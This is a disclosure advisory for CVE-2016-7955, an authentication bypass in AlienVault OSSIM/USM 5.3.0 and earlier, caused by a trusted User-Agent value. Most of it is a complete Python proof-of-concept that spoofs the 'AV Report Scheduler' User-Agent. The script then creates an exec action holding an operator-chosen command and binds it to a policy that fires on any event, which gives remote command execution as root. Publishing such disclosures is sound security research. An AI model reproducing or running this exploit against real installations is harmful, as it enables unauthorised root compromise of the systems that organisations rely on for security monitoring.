Alienvault OSSIM / USM 5.3.0 Authentication Bypass
Posted on 07 March 2017
Details ======= Product: Alienvault OSSIM/USM Vulnerability: Authentication Bypass Author: Peter Lapp, lappsec () gmail com CVE: CVE-2016-7955 Vulnerable Versions: <=5.3.0 Fixed Version: 5.3.1 Vulnerability Details ===================== This vulnerability allows remote attackers to bypass authentication requirements on vulnerable installations of AlienVault Unified Security Manager. Authentication is not required to exploit this vulnerability. The specific flaw exists within the logcheck function in session.inc. By providing a specific value as a user-agent, an attacker can bypass authentication to a number of pages. In addition to viewing information, it's possible to modify the application and achieve arbitrary code execution as root. References ========== http://www.zerodayinitiative.com/advisories/ZDI-16-517/ https://www.alienvault.com/forums/discussion/7765/alienvault-v5-3-1-hotfix POC ==== The python script below was cobbled together to demonstrate the use of this vulnerability to gain command execution as root. The script uses the vulnerability to retrieve the engine ID(CTX), create an email action, change the email action to an exec action with the payload, and then creates a policy that triggers that action on ANY event. It will work against any USM instance without a hitch, but will only work against OSSIM if there is some sort of action already created. Because of the way OSSIM handles engine ID's and the lack of a session, it's not possible to retrieve the engine ID required to create an action. This is just a POC so use at your own risk. import urllib2 import urllib from bs4 import BeautifulSoup import ssl import re import random, string ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE headers = {'User-Agent' : 'AV Report Scheduler'} def randomstring(): return ''.join(random.choice(string.lowercase) for i in range(6)) def getengineid(ip): url = 'https://'+ip+'/ossim/av_asset/network/views/net_form.php' request = urllib2.Request(url, None, headers) response = urllib2.urlopen(request, context=ctx) getengine = response.read() response.close() soup = BeautifulSoup(getengine) findid = soup.find(id="sboxs1") engineid = findid["class"][-1] print 'Engine ID: ' + engineid.upper() return engineid.upper() def createaction(engineid,ip): url = 'https://'+ip+'/ossim/action/modifyactions.php' values = {'id':'', 'action':'new', 'ctx':engineid, 'old_name':'', 'action_name':actionname, 'old_descr':'', 'descr':'hacked', 'action_type':'3', 'only':'on', 'cond':'True', 'email_from':'', 'email_to':'email;email;email', 'email_subject':'', 'email_message':'', 'exec_command':'', 'transferred_user':'admin', 'transferred_entity':''} data = urllib.urlencode(values) request = urllib2.Request(url, data, headers) response = urllib2.urlopen(request, context=ctx) return def getactionid(ip,pro): url = 'https://'+ip+'/ossim/action/getaction.php' request = urllib2.Request(url, None, headers) response = urllib2.urlopen(request, context=ctx) getengine = response.read() response.close() soup = BeautifulSoup(getengine) if pro == 'y': rows = soup.findAll('row') theid = [r.get('id') for r in rows if r.findAll(text=re.compile(actionname))][0] else: theid = soup.findAll('row')[-1].get('id') print 'Action ID: ' + theid.upper() return theid.upper() def changeaction(ip, engineid, actionid, command): url = 'https://'+ip+'/ossim/action/modifyactions.php' values = {'id':actionid, 'ctx':engineid, 'action':'edit', 'old_name':actionname, 'action_name':actionname, 'old_descr':'hacked', 'descr':'hacked', 'action_type':'2', 'only':'on', 'cond':'True', 'email_from':'', 'email_to':'email;email;email', 'email_subject':'', 'email_message':'', 'exec_command':command, 'transferred_user':'admin', 'transferred_entity':''} data = urllib.urlencode(values) request = urllib2.Request(url, data, headers) response = urllib2.urlopen(request, context=ctx) return def createpolicy(ip, engineid, actionid): url = 'https://'+ip+'/ossim/policy/newpolicy.php' values = {'descr':randomstring(), 'active':'1', 'group':'00000000000000000000000000000000', 'ctx':engineid, 'order':'0', 'action':'new', 'sources[]':'00000000000000000000000000000000', 'filterc':'', 'dests[]':'00000000000000000000000000000000', 'filterd':'', 'portsrc[]':'0', 'portdst[]':'0', 'plug_type':'0', 'plugins[0]':'on', 'tax_cat':'0', 'tax_subc':'0', 'mboxs[]':'00000000000000000000000000000000', 'rep_act':'0', 'rep_sev':'1', 'rep_rel':'1', 'rep_dir':'1', 'rep_act':'0', 'ev_sev':'1', 'ev_rel':'1', 'tzone':'US/Central', 'date_type':'1', 'begin_hour':'0', 'begin_minute':'0', 'begin_day_week':'1', 'begin_day_month':'1', 'begin_month':'1', 'end_hour':'23', 'end_minute':'59', 'end_day_week':'7', 'end_day_month':'31', 'end_month':'12', 'actions[]':actionid, 'sim':'1', 'priority':'-1', 'qualify':'1', 'correlate':'1', 'cross_correlate':'1', 'store':'1', 'sem':'1', 'sign':'0', 'resend_events':'0'} data = urllib.urlencode(values) request = urllib2.Request(url, data, headers) response = urllib2.urlopen(request, context=ctx) return def reloadpolicy(ip): url = 'https://'+ip+'/ossim/conf/reload.php?what=policies&back=..%2Fpolicy%2Fpolicy.php' request = urllib2.Request(url, None, headers) response = urllib2.urlopen(request, context=ctx) print 'Policies reloaded' print '''Alienvault USM/OSSIM Authentication Bypass and RCE by Peter Lapp(lappsec)''' host = raw_input('Enter USM/OSSIM IP Address: ') command = raw_input('Enter the command you want executed: ') pro = raw_input('Is this the pro version? (y/n): ') engid = getengineid(host) actionname = randomstring() if pro == 'y': createaction(engid, host) actid = getactionid(host,pro) changeaction(host,engid,actid,command) createpolicy(host,engid,actid) reloadpolicy(host) print 'Happy hacking ;)'
